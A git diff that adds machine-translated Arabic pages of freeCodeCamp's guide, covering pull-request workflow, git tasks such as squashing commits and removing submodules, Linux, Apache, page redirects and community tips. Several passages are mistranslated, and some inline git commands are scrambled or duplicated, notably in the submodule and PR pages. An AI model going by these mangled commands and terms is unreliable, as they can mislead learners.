+هذا هو الأسلوب الموصى بها. اقرأ حول [كيفية الإعداد والمحافظة على مثيل محلي من Free Code Camp](http://forum.freecodecamp.com/t/how-to-fork-and-maintain-a-local-instance-of-free-code-camp/19116) .
+
+1.  نفذ خطوة صيانة rebasing `staging`
+2.  تأكد من وجودك على فرع `staging` باستخدام `git status` :
+
+\`  
+$ git  
+على فرع التدريج  
+الفرع الخاص بك مُحدّث مع "الأصل / التدريج".
+
+لا شيء لارتكاب ، دليل العمل نظيفة  
+\`
+
+1.  إذا لم تكن على التدريج أو كان دليل عملك غير نظيف ، قم بحل أي ملفات / احتفالات معلقة وتسجيل الخروج `git checkout staging`
+2.  إنشاء فرع خارج `staging` مع git: `git checkout -B branch/name-here` ملاحظة: تسمية الفرع مهمة. استخدم اسمًا مثل `fix/short-fix-description` أو `feature/short-feature-description` راجع [إرشادات المساهمة](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md) للحصول على مزيد من التفاصيل.
+3.  قم بتحرير الملف (الملفات) محليًا باستخدام محرر من اختيارك
+4.  تحقق من `git status` الخاص بك لرؤية الملفات غير النظامية.
+5.  إضافة ملفاتك المعدلة: `git add path/to/filename.ext` يمكنك أيضا القيام بما يلي: `git add .` لإضافة جميع الملفات غير الثابتة. ومع ذلك ، كن حريصًا ، لأنه يمكنك إضافة الملفات التي لا ترغب في إضافتها. مراجعة `git status` الخاصة بك أولاً.
+6.  قم `git commit -m "Brief Description of Commit"` تعديلاتك: `git commit -m "Brief Description of Commit"`
+7.  [اسحق التزاماتك](http://forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231) ، إذا كان هناك أكثر من واحد.
+8.  ادفع التزاماتك إلى GitHub Fork: `git push -u origin branch/name-here`
+9.  اذهب إلى الخطوات الشائعة
+
+## التحرير عبر واجهة GitHub
+
+**ملاحظة:** لا ينصح بالتحرير عبر واجهة GitHub ، نظرًا لأنه من غير الممكن تحديث شوكتك عبر واجهة GitHub دون حذف وإعادة إنشاء شوكة.
+
+1.  إنشاء شوكة FCC Repo
+2.  [إنشاء فرع](https://help.github.com/articles/creating-and-deleting-branches-within-your-repository/) داخل شوكة الخاص بك. ملاحظة: تسمية الفرع مهمة. استخدم اسمًا مثل `fix/short-fix-description` أو `feature/short-feature-description` راجع [إرشادات المساهمة](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md) للحصول على مزيد من التفاصيل.
+3.  قم بتحرير الملف وارتكب التغييرات.
+4.  الاستمرار في الخطوات الشائعة.
+
+## خطوات مشتركة
+
+1.  بمجرد أن يتم تنفيذ التعديلات ، ستتم مطالبتك بإنشاء طلب سحب على صفحة Github الخاصة بـ.
+2.  بشكل افتراضي ، يجب أن تكون جميع طلبات السحب ضد الريبو الرئيسي FCC ، الفرع `staging` .
+3.  اكتب عنوانًا واضحًا للعلاقات العامة الخاصة بك والتي تشير بإيجاز إلى ما يتم إصلاحه. لا تضيف رقم الإصدار في العنوان. أمثلة: `Add Test Cases to Algorithm Drop It` `Correct typo in Challenge Size Your Images`
+4.  في نصوص العلاقات العامة الخاصة بك ، قم بتضمين ملخص أكثر تفصيلاً للتغيرات التي قمت بها ولماذا.
+5.  حدد ما إذا كنت قد اختبرت على نسخة محلية من الموقع أم لا.
+6.  إذا كان السبب في `Closes #xxxx` العامة هو مشكلة ، فيمكنك [الإشارة إلى هذه المشكلة](https://help.github.com/articles/closing-issues-via-commit-messages/) `Closes #xxxx` تلقائيًا عن طريق إضافة كلمة رئيسية مثل `Closes #xxxx` ، حيث يمثل `xxxx` رقم المشكلة.
+
+## الخطوات التالية
+
+### إذا تم طلب التغييرات
+
+لا داعي للقلق ، فالكثير من المستفيدين الرئيسيين ، خاصةً المستفيدون الرئيسيون الأولون ، يحتاجون إلى التصحيح أو التحديث. إذا كنت قد استخدمت واجهة GitHub لإنشاء العلاقات العامة ، فستحتاج إلى إغلاق العلاقات العامة وإنشاء فرع جديد وإعادة الإرسال. هذا لأنك لا تستطيع التخلص من التزاماتك عبر واجهة GitHub.
+
+إذا كان لديك نسخة محلية من الريبو ، فيمكنك إجراء التغييرات المطلوبة وتعديل الالتزام الخاص بك: `git commit --amend` سيؤدي هذا إلى تحديث `git commit --amend` الحالي. عندما `git push --force` على شوكة الخاص بك سوف تحتاج إلى القيام بدفع القوة `git push --force` الالتزام القديم: `git push --force`
+
+تأكد من النشر في محادثة العلاقات العامة أنك قمت بإجراء التغييرات المطلوبة.
+
+### إذا تم قبول PR الخاص بك
+
+بمجرد قبول العلاقات العامة ، يمكنك حذف الفرع الذي أنشأته لإرساله. هذا يحافظ على عمل شوكة نظيفة. يمكنك القيام بذلك بضغطة زر على واجهة GitHub PR. يمكنك حذف النسخة المحلية للفرع مع: `git branch -D branch/to-delete-name`
+
+### إذا تم رفض PR الخاص بك
+
+لا تيأس! يجب أن تتلقى تعليقات صلبة من المشرفين على القضايا لماذا تم رفضها وما هو مطلوب. من فضلك ، استمر في المساهمة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-pick-a-linux-distribution-and-install/index.md b/client/src/guide/arabic/miscellaneous/how-to-pick-a-linux-distribution-and-install/index.md
new file mode 100644
index 0000000000..aa16990320
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-pick-a-linux-distribution-and-install/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Pick a Linux Distribution and Install
+localeTitle: كيفية اختيار وتوزيع لينكس
+---
+في حين أن معظم البائعين يوفرون نظام تشغيل واحد يحصل على تحديثات تدريجية وإصدارات جديدة بمرور الوقت (مثل Windows و Mac OSX و Solaris) ، فإن Linux لديها المئات من الإصدارات المختلفة للاختيار من بينها من قبل مورّدين مختلفين. ويرجع ذلك جزئياً إلى أن لينكس هو رمز يتم توزيعه بحرية ويمكن تكييفه وفقاً لاحتياجات المستخدم الخاصة. في حين أن [نواة لينكس](https://en.wikipedia.org/wiki/Linux_kernel) عادة ما تبقى هي نفسها (الوظائف الأساسية لمهام التعامل مع نظام التشغيل مثل إدارة الشبكة ، استخدام القرص ، استخدام الذاكرة ، I / O الخ.) ، تختلف الإصدارات المختلفة من Linux في أجزاء مثل واجهة المستخدم الرسومية التي تستخدمها (أي [Gnome](https://www.gnome.org/) أو [KDE](https://www.kde.org/) أو [XFCE](http://www.xfce.org/) أو لا شيء على الإطلاق) وأدوات النظام والبيئات ومديري الحزم والتطبيقات المقدمة. هذه المجموعة الفريدة من البرمجيات جنبا إلى جنب مع النواة تحدد ما نسميه [توزيعة لينكس](https://en.wikipedia.org/wiki/Linux_distribution) (توزيعة قصيرة).
+
+تختلف الآراء حول التوزيع الذي يجب اختياره بين المستخدمين ، ولكن من الأفضل اختيار اختيار يحتوي على إجراء تثبيت سلس ويتم تحديثه بانتظام مع ثغرات أمنية وإصلاح الأخطاء. وتغطي هذه التوزيعات الشعبية الشائعة لينكس مثل [أوبونتو](http://www.ubuntu.com/) ، [والنعناع](https://www.linuxmint.com/) ، [وفيدورا](https://getfedora.org/) . هذه كلها تتمتع بدعم كبير ومجموعة كبيرة من البرامج المتاحة للاستخدام مجانا. عنصر آخر للنظر هو دعم اللغة ، وبعض التوزيعات لديها دعم أفضل في لغات معينة من غيرها. على سبيل المثال ، لدى [OpenSUSE](https://en.opensuse.org/Main_Page) دعم قوي للغة الألمانية ، [وأوبونتو كيلين](http://www.ubuntu.com/desktop/ubuntu-kylin) هو تخريب لأوبونتو كان أكثر ملاءمة للمستخدمين الصينيين الذين يستخدمون اللغة الصينية المبسطة. تحقق من [DistroWatch](http://distrowatch.com/search.php) للبحث عن الدعم بلغات أخرى.
+
+تحتوي معظم إصدارات Linux على ميزة تسمح للمستخدم باختبار التوزيع قبل تثبيته على القرص في ما يسمى [قرص مضغوط مباشر](https://en.wikipedia.org/wiki/Live_CD) أو [USB مباشر](http://www.linuxliveusb.com/) . يمكن للمستخدم وضع نسخة أصغر من التوزيع إما على قرص مضغوط / قرص DVD أو محرك أقراص USB ثم الإقلاع منه. ستترك نظام التشغيل الحالي للمستخدم سليماً ، لكنهم يتمتعون بحرية تجربة واجهة المستخدم وبعض التطبيقات. توفر معظم التوزيعات طريقة لاستخدام الوسائط المباشرة أولاً للاختبار ، وفي وقت لاحق ، عند استخدام الوسائط المباشرة ، يتم منحك خيار تثبيت نظام التشغيل على القرص بشكل دائم.
+
+بالنسبة للمستخدمين الذين يرغبون في الاحتفاظ بنظام التشغيل الحالي لديهم أو لا يرغبون في إجراء انتقال كامل ، هناك خيار آخر هو إنشاء بيئة ظاهرية وتثبيت Linux في ذلك باستخدام أداة مثل [VirtualBox](https://www.virtualbox.org/wiki/Downloads) . يمكن للمستخدم تشغيل نظام التشغيل الحالي الخاص به ولديه إطار VirtualBox قيد التشغيل مع توزيعة Linux. سيكون هذا الوضع مثاليًا للشخص الذي يرغب في الاستمرار في تشغيل Windows أو OSX ، ولكن لا يزال بإمكانه الوصول إلى بيئة Linux.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-post-code-using-markdown/index.md b/client/src/guide/arabic/miscellaneous/how-to-post-code-using-markdown/index.md
new file mode 100644
index 0000000000..a12b483584
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-post-code-using-markdown/index.md
@@ -0,0 +1,7 @@
+---
+title: How to Post Code Using Markdown
+localeTitle: كيفية نشر التعليمات البرمجية باستخدام Markdown
+---
+استخدام باكتكس \`
+
+![نشر](//discourse-user-assets.s3.amazonaws.com/original/2X/d/dfbf7e498cc825f0c6f35cf850d512f6c5a5f5b6.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-reach-free-code-camp-team-for-interviews/index.md b/client/src/guide/arabic/miscellaneous/how-to-reach-free-code-camp-team-for-interviews/index.md
new file mode 100644
index 0000000000..9a7a2fe4b6
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-reach-free-code-camp-team-for-interviews/index.md
@@ -0,0 +1,12 @@
+---
+title: How to Reach Free Code Camp Team for Interviews
+localeTitle: كيفية الوصول إلى Free Code Camp Team للمقابلات
+---
+نحن سعداء بإجراء مقابلة سريعة مع منشورك أو عرضك. في ما يلي الأشخاص الذين ينبغي عليك الاتصال بهم بشأن ما ، وكيفية الوصول إليهم بشكل أفضل:
+
+*   هل تريد الحديث عن منهج Free Code Camp أو الرؤية طويلة المدى؟ الوصول إلى كوينسي لارسون. إنه [ossia على Twitter](https://twitter.com/ossia) و [quincylarson](/users/quincylarson) على [Gitter](/users/quincylarson) .
+*   هل تريد الحديث عن مصدر برنامج Open Code Camp المفتوح ، أو البنية الأساسية ، أو JavaScript بشكل عام؟ تكلم مع بيركلي مارتينيز. إنه [berkeleytrue على تويتر](https://twitter.com/berkeleytrue) و [berkeleytrue](/users/berkeleytrue) على جيتر.
+*   هل ترغب في استكشاف جهودنا لتمكين المنظمات غير الربحية من خلال الشفرة؟ مايكل د. جونسون يأكل وينام ويتنفس ذلك. انه [codenonprofit على تويتر](https://twitter.com/codenonprofit) و [@ codenonprofit](/users/codenonprofit) على جيتر.
+*   تريد الحصول على منظور الكارافانات في مجتمعنا؟ تحدث مع بيانكا ميهاي. انها [bubuslubu على تويتر](https://twitter.com/bubuslubu) و [biancamihai](/users/biancamihai) على جيتر. أو يمكنك التحدث مع سوزان أتكينسون. إنها [@ steelcitycoach على تويتر](https://twitter.com/SteelCityCoach) و [adventurebear](/users/adventurebear) على جيتر.
+
+نحن نسعى جاهدين لنكون متعاونين وشفافين في كل ما نقوم به. سنفعل ما في وسعنا لمساعدتك في مشاركة مجتمعنا مع جمهورك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-redirect-a-web-page/index.md b/client/src/guide/arabic/miscellaneous/how-to-redirect-a-web-page/index.md
new file mode 100644
index 0000000000..caf47640da
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-redirect-a-web-page/index.md
@@ -0,0 +1,28 @@
+---
+title: How to Redirect a Web Page
+localeTitle: كيفية إعادة توجيه صفحة ويب
+---
+## كيفية إعادة توجيه صفحة ويب
+
+لإعادة توجيه زوار موقعك إلى صفحة جديدة ، أضف سطرًا في قسم رأسك كما يلي: \`\` \`أتش تي أم أل
+
+ `  <script type="text/javascript"> 
+     <!-- 
+        function Redirect() { 
+           window.location="http://www.tutorialspoint.com"; 
+        } 
+     //--> 
+  </script> 
+` 
+
+انقر فوق الزر التالي ، سيتم إعادة توجيهك إلى الصفحة الرئيسية.
+
+ `  <form> 
+     <input type="button" value="Redirect Me" onclick="Redirect();" /> 
+  </form> 
+` 
+
+ `There is another option if you just want to change the page as soon as they reach that page: 
+` 
+
+جافا سكريبت window.location.assign ( "HTTPS: //www.yournewwebsite.fakewebsite")؛ \`\` \` استبدال موقع الويب بموقعك على الويب. ينبغي للمرء أن يذهب داخل ملف جافا سكريبت.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-remove-a-submodule-in-git/index.md b/client/src/guide/arabic/miscellaneous/how-to-remove-a-submodule-in-git/index.md
new file mode 100644
index 0000000000..e9ded03fdd
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-remove-a-submodule-in-git/index.md
@@ -0,0 +1,20 @@
+---
+title: How to Remove a Submodule in Git
+localeTitle: كيفية إزالة Submodule في بوابة
+---
+تفيد إزالة أحد الأجزاء الفرعية عندما لا تكون مطلوبة. توضح الخطوات أدناه إزالة أحد الأجزاء الفرعية.
+
+## إزالة Submodule
+
+*   احذف القسم الذي يشير إلى الملف `.gitmodules` ملف `.gitmodules`
+*   مرحلة التغييرات عن طريق `git add .gitmodules`
+*   قم بحذف القسم ذو الصلة من الملف الفرعي من `.git/config` .
+*   تشغيل `git rm --cached path_to_submodule` (بلا ​​شرطة مائلة)
+*   تشغيل `rm -rf .git/modules/path_to_submodule`
+*   الالتزام بالتغييرات مع "إزالة git -m" subodule "
+*   حذف الملفات الفرعية `rm -rf path_to_submodule` الآن `rm -rf path_to_submodule`
+
+## مصادر
+
+*   [Stackoverflow - كيف أقوم بإزالة كائن ثانوي](http://stackoverflow.com/questions/1260748/how-do-i-remove-a-submodule)
+*   [git.wiki.kernel.org - Git subodule removal](https://git.wiki.kernel.org/index.php/GitSubmoduleTutorial#Removal)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-report-a-bug/index.md b/client/src/guide/arabic/miscellaneous/how-to-report-a-bug/index.md
new file mode 100644
index 0000000000..0c37b3cf4f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-report-a-bug/index.md
@@ -0,0 +1,27 @@
+---
+title: How to Report a Bug
+localeTitle: كيفية الإبلاغ عن خطأ
+---
+نشكرك على بذل الجهد للإبلاغ عن مشكلة مع freeCodeCamp.
+
+إذا كنت تعتقد أنك عثرت على خطأ على FreeCodeCamp ، فالرجاء اتباع هذه الخطوات لحل مشكلتك:
+
+1.  حاول إعادة تعيين الشفرة في المحرر باستخدام زر إعادة التعيين في الصفحة. سيؤدي ذلك إلى حل معظم المشكلات إذا قمت بطريقة ما بتغيير بعض التعليمات البرمجية ، مما يؤثر على التحدي بطريقة ما. تؤدي إعادة الضبط إلى مسح التعليمة البرمجية إلى حالتها الأصلية كما لو تم تقديم التحدي لأول مرة إليك.
+    
+2.  إذا كانت الصفحة مكسورة بأي طريقة ، فحاول القيام [بتحديث القرص الثابت](http://forum.freecodecamp.com/t/refresh-your-browser-cache/19365) . سيؤدي هذا إلى تحديث أي كود قديم ربما تم تخزينه مؤقتًا في متصفحك.
+    
+    *   إذا تعطل الرمز الخاص بك متصفحك ، فحاول أيضًا [مسح التخزين المحلي لمستعرضك](http://forum.freecodecamp.com/t/removing-all-locally-stored-challenges/19129) .
+3.  [اطلب المساعدة في غرف الدردشة](http://forum.freecodecamp.com/t/how-to-get-help-on-gitter/19130) . يمكنك عادةً الحصول على رد سريع من أحد أعضاء المجتمع المتعاونين هناك.
+    
+4.  [اطلب المساعدة في المنتدى](http://forum.freecodecamp.com/) . من حين لآخر ، قد ترى أن طلبات البحث الخاصة بك لا يتم تناولها في الدردشة على الفور ، أو قد تكون بحاجة إلى مناقشة. في هذه الحالة ، تأكد من البحث في هذا المنتدى عن مشكلتك ، وإذا فشلت في العثور على إجابة مرضية ، فاطلبها هنا.
+    
+5.  إذا كانت مشكلتك تحير الجميع في غرف الدردشة والمنتدى ، فجرّب [البحث عن](http://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390) مشكلتك [على GitHub](http://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390) لأي شخص نشر موضوعًا مشابهًا. إذا كان لدى شخص ما ، فيمكنك تغيير المشكلة عن طريق النقر على ![:thumbsup:](https://forum.freecodecamp.com/images/emoji/emoji_one/thumbsup.png?v=3 ":ممتاز:") ) في المشاركة الافتتاحية (المشاركة الأولى) في مؤشر ترابط المشكلة.
+    
+6.  إذا لم تتمكن من العثور على أي مشكلات ذات صلة على GitHub ، فقم [بإنشاء "إصدار جديد"](http://forum.freecodecamp.com/t/creating-a-new-github-issue/18392) وسيقوم فريق التطوير الخاص بنا بإلقاء نظرة على مشكلتك.
+    
+
+**أجهزة محمولة:**  
+قد لا تعمل بعض التحديات على الأجهزة المحمولة (متصفحات الجوال) ، ونحن نبذل قصارى جهدنا لدعمها ، ولكننا نوصيك بمحاولة التحقق من التحدي على متصفح سطح المكتب قبل تأكيده كخلل.
+
+**مهم:**  
+قبل الإبلاغ عن مشكلة جديدة دائمًا ما تحصل على تأكيد من طرف آخر في غرف الدردشة أو المنتدى. تذكر أن أداة تعقب المشكلات مخصصة بشكل صارم للإبلاغ عن الأخطاء أو التحسينات ، فهي ليست مكانًا للبحث عن أي مساعدة في حل التحديات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-run-apache-server-on-a-mac-os-x-e1-captain/index.md b/client/src/guide/arabic/miscellaneous/how-to-run-apache-server-on-a-mac-os-x-e1-captain/index.md
new file mode 100644
index 0000000000..473f9d262a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-run-apache-server-on-a-mac-os-x-e1-captain/index.md
@@ -0,0 +1,21 @@
+---
+title: How to Run Apache Server on a Mac Os X E1 Captain
+localeTitle: كيفية تشغيل خادم أباتشي على الكابتن Mac X X E1
+---
+يتم إنشاء خادم [Apache](http://www.apache.org/) مسبقًا على نظام التشغيل Mac OS X ، دون الحاجة إلى تثبيت أدوات الطرف الثالث WAMP و LAMP و MAMP و XAMPP لتشغيل خادم Apache على نظام Mac.
+
+عندما تفكر في تشغيل خادم [Apache](http://www.apache.org/) على Mac OS X E1 Captain / OS X Yosemite ، يكون مختلفًا عن الإصدارات السابقة. هنا يجب عليك من نوافذ المحطة الطرفية ، خيارات سابقة من واجهة المستخدم الرسومية لوضع علامة كخادم الويب من نافذة تحكم النظام.
+
+اكتب على نافذة المحطة الطرفية الخاصة بك:
+
+ `httpd -v 
+` 
+
+انها تعطي نسخة الخادم وتاريخ البناء.
+
+هنا يقف HTTP ل Hypertext Transfer Protocol d يقف لبرنامج Daemon وهو برنامج يستخدم لتعدد المهام كما يستخدم على Mac OS X. `httpd` هو برنامج خادم Apache HyperText Transfer Protocol (HTTP). تم تصميمه ليتم تشغيله كعملية daemon مستقلة. نوع
+
+ `sudo apachectl start 
+` 
+
+على نافذة المحطة الطرفية الخاصة بك والذهاب إلى المستعرض الخاص بك واكتب `http://localhost` ستحصل ، `It works!` على متصفحك
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-run-google-app-engine-in-fedora-using-python/index.md b/client/src/guide/arabic/miscellaneous/how-to-run-google-app-engine-in-fedora-using-python/index.md
new file mode 100644
index 0000000000..07e9d5b90a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-run-google-app-engine-in-fedora-using-python/index.md
@@ -0,0 +1,24 @@
+---
+title: How to Run Google App Engine in Fedora Using Python
+localeTitle: كيفية تشغيل محرك تطبيقات جوجل في فيدورا عن طريق بايثون
+---
+تتناول هذه المقالة دليل خطوة بخطوة لتثبيت Google App Engine على نظام التشغيل Fedora الخاص بك باستخدام python.
+
+*   اتبع الخطوات الواردة في هذه الوثائق من [Google.](https://cloud.google.com/appengine/docs/python/#uploading_the_application)
+
+قد لا يعمل اختبار التطبيق على النحو الوارد في المستند أعلاه للكثيرين.
+
+لذا ، جرب [هذا](http://stackoverflow.com/a/16970921) كما قدمه Brice Lin.
+
+أيضا ، اتبع استراتيجية النشر كما قدمها Brice Lin. للقيام بذلك فتح محطة أخرى (إذا كنت ترغب في ذلك).
+
+*   قبل النشر ، يجب عليك إنشاء المشروع في Google Cloud Platform. اتبع الخطوات من [تحميل التطبيق](https://cloud.google.com/appengine/docs/python/#uploading_the_application)
+    
+*   لكن لا يزال اتباع استراتيجية النشر المذكورة أعلاه قد لا يعمل للكثيرين. وقد يحدث خطأ مثل هذا:
+    
+    `ERROR appcfg.py:2396 An error occurred processing file '': HTTP Error 400: Bad Request Unexpected HTTP status 400\. Aborting. Error 400: --- begin server output --- A version or backend parameter is required. --- end server output ---`
+    
+
+يحدث هذا الخطأ بسبب عبارة Version المفقودة في ملف **app.yaml** . لذلك إضافة `version: 1` في ملف **app.yaml** في مستودع التطبيق. هنا ، `helloworld` هو المستودع. الآن سوف تعمل. سعيد الترميز وصنع التطبيق.
+
+لا تنس التحقق من هذا الرابط: [تطوير تطبيق ونشره على Google App Engine على Youtube.](https://www.youtube.com/watch?v=bfgO-LXGpTM)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-share-your-workspace-selfie-with-free-code-camp-on-instagram/index.md b/client/src/guide/arabic/miscellaneous/how-to-share-your-workspace-selfie-with-free-code-camp-on-instagram/index.md
new file mode 100644
index 0000000000..353104cb19
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-share-your-workspace-selfie-with-free-code-camp-on-instagram/index.md
@@ -0,0 +1,13 @@
+---
+title: How to Share Your Workspace Selfie with Free Code Camp on Instagram
+localeTitle: كيفية مشاركة سيلفي مساحة العمل الخاصة بك مع الحر رمز المعسكر على Instagram
+---
+FreeCodecamp على Instagram! فيما يلي كيفية التقاط صورة شخصية لمساحة العمل ومشاركتها معنا.
+
+## التقط صورة ذاتية لك في مساحة العمل الخاصة بك مع فتح Free Code Camp.
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/f9165819dd1e91941cd3c7481d28adba04c9ccaf.png)
+
+## شاركها على Instagram أو Twitter أو Facebook باستخدام الهاشتاج #freecodecamp .
+
+## وسائل الاعلام ليست شيئك؟ ليس هناك أى مشكلة! إرسال صورة شخصية إلى مساحة العمل الخاصة بك إلى team@freecodecamp.com
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-squash-multiple-commits-into-one-with-git/index.md b/client/src/guide/arabic/miscellaneous/how-to-squash-multiple-commits-into-one-with-git/index.md
new file mode 100644
index 0000000000..ce6f5e7621
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-squash-multiple-commits-into-one-with-git/index.md
@@ -0,0 +1,31 @@
+---
+title: How to Squash Multiple Commits into One with Git
+localeTitle: كيفية الإسكوا تلتزم متعددة في واحد مع بوابة
+---
+هذه هي ميزة رهيبة من `rebase` التي يمكن استخدامها في الوضع `interactive` . لتقليص _n_ الأخير في واحد ، قم بتشغيل الأمر التالي:
+
+ `git rebase -i HEAD~n 
+` 
+
+سيؤدي ذلك إلى فتح محرر نصوص بشيء مماثل لما يلي:
+
+ `pick commit_1 
+ pick commit_2 
+ pick commit_3 
+ ... 
+ pick commit_n 
+ # Bunch of comments 
+` 
+
+اترك الالتزام الأول بمفرده ، وغيري بقية `pick` إلى `squash` . حفظ والخروج من المحرر.
+
+لذا إذا أردت أن تسحق آخر ثلاث دعاوى ، فستقوم أولاً بتشغيل `git rebase -i HEAD~3` ، ثم ستحتاج إلى تعديل التزاماتك لتبدو شبيهة مثل:
+
+ `pick dd661ba Commit 1 
+ squash 71f5fee Commit 2 
+ squash f4b4bf1 Commit 3 
+` 
+
+إذا كنت قد دفعت بالفعل إلى جهاز تحكم عن بعد قبل أن تضغط على `-f` ، فسيتعين عليك الضغط على جهاز التحكم عن بعد مرة أخرى ، مع العلم `-f` ، وإلا فسوف يلقي git خطأً فيك.
+
+من المقترح بشدة أن تقرأ المعلومات الموجودة في الملف المفتوح لأن هناك العديد من الأشياء التي يمكنك القيام بها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-start-when-you-are-stuck/index.md b/client/src/guide/arabic/miscellaneous/how-to-start-when-you-are-stuck/index.md
new file mode 100644
index 0000000000..950f565e53
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-start-when-you-are-stuck/index.md
@@ -0,0 +1,19 @@
+---
+title: How to Start When You Are Stuck
+localeTitle: كيف تبدأ عندما كنت عالقا
+---
+أنت كابتن مثلي تماماً ، تحصل على تمرين وأنت تتعثر ... تماماً مثل أي شخص آخر. ليس لديك أي فكرة عن كيفية البدء ، فأنت تحدق في المحرر الخاص بك وتعتقد أنك يجب أن يكون لديك مشكلة ، وبالتأكيد أنت لست من مطوري البرامج ... حسناً أنت مخطئ! ربما أنت مثلي؟ أنا شخص مرئي ، وأنا أحب الرسم أفضل من النص. في كل مرة ، تكون المشكلة نفسها التي توضع في مخطط منطقي أكثر مما لو أعطيتني نصًا. إذن ... ماذا أفعل عندما أواجه مشكلات في حل / فهم تمرين؟ أبدأ بالرسم. بعد أن أضع رسومي في مكانه إذا احتجت إلى المزيد لترجمته إلى شفرة ، يمكنني أيضًا كتابته في pseudocode. بعد ذلك لا ينبغي أن يكون نقلها إلى رمز صعب للغاية.
+
+# فما هي هذه المخططات الانسيابية (الرسومات) و pseudocode؟
+
+خلال الفصل الدراسي الأول في الكلية ، كان لدينا دورة حول مقدمة الخوارزميات. هذا هو المكان الذي تعلمنا فيه لأول مرة عن هذه الأشياء. علمنا أنه تم تطوير خوارزمية جيدة وبرمجة منطقية جيدة باستخدام الانسيابية وكود pseudocode.
+
+يمثل **المخطط الانسيابي** تدفق البرنامج من الأعلى إلى الأسفل. يتم تمثيل كل أمر على هذا. اعتمادا على طبيعة الأمر هناك أشكال مختلفة يمكنك استخدامها. وهناك عدد قليل منهم يستخدمونه غالبًا (يمكنك استخدام Google أكثر في هذا ، وجوجل هو صديقك عندما تعرف ما تبحث عنه في google):
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b8b6b68e8b27f8d958b198613ada0a31a22df5ab.png)
+
+مزيد من المعلومات حول هذا يمكنك أن تجد هنا [https://en.wikipedia.org/wiki/Flowchart](https://en.wikipedia.org/wiki/Flowchart) .
+
+**Pseudocode** هي لغة غير رسمية تساعد المطورين على كتابة الخوارزميات. وهي أداة تصميم تستند إلى النص وتستخدم لغة بشرية قابلة للقراءة. إنه نص إنجليزي منظم يصف خوارزمية.
+
+يمكن حل كل خوارزمية في منهج Free Code Camp باستخدام شفرة pseudocode وبعد ذلك يتم ترجمتها باستخدام javascript في شفرة جافا سكريبت عملية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-stimulate-your-facebook-campsite/index.md b/client/src/guide/arabic/miscellaneous/how-to-stimulate-your-facebook-campsite/index.md
new file mode 100644
index 0000000000..32fe623549
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-stimulate-your-facebook-campsite/index.md
@@ -0,0 +1,15 @@
+---
+title: How to Stimulate Your Facebook Campsite
+localeTitle: كيفية تحفيز Facebook Campsite الخاص بك
+---
+هناك طريقة رائعة لتحفيز المجموعة المحلية عن طريق طرح الأسئلة.
+
+**يمكنك طرح أسئلة مثل**
+
+*   ماذا يعمل الجميع في هذا الأسبوع؟
+*   كيف تقترب من تحدي معين ، خوارزمية ، مشروع الواجهة الأمامية ، مشروع النهاية الخلفية؟
+*   هل سيهتم أي شخص بالالتقاء ببرنامج مشترك معًا هذا الأسبوع؟
+*   هل سمع الجميع عن "إدراج الإعلان الأخير"
+*   ما هي بعض أجزاء معسكر التعليمات البرمجية المجانية التي ترغب في التركيز عليها؟
+
+**يمكنك أيضًا توفير روابط مفيدة للأعضاء الآخرين إلى الموارد ذات الصلة التي تجدها مفيدة.**
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-stream-live-coding-on-freecodecamp/index.md b/client/src/guide/arabic/miscellaneous/how-to-stream-live-coding-on-freecodecamp/index.md
new file mode 100644
index 0000000000..1def541e26
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-stream-live-coding-on-freecodecamp/index.md
@@ -0,0 +1,28 @@
+---
+title: How to Stream Live Coding on Freecodecamp
+localeTitle: كيف دفق العيش الترميز على freecodecamp
+---
+البث المباشر للتعليمة البرمجية هو تجربة تعليمية ونشطة للناشرين والجمهور. إذا لم تشاهد ترميزًا مباشرًا ، فراجع [قناة Twitch التابعة](http://twitch.tv/freecodecamp) لنا. نحن نبحث بنشاط عن المزيد من اللافتات على جميع المستويات للشفرة على قناة FreeCodeCamp.
+
+**نحن نبتعد الآن عن استخدام Twitch ، سنقوم بتحديث هذه الصفحة بمجرد الانتهاء من التفاصيل.**
+
+## يرجى اتباع هذه الخطوات للبدء:
+
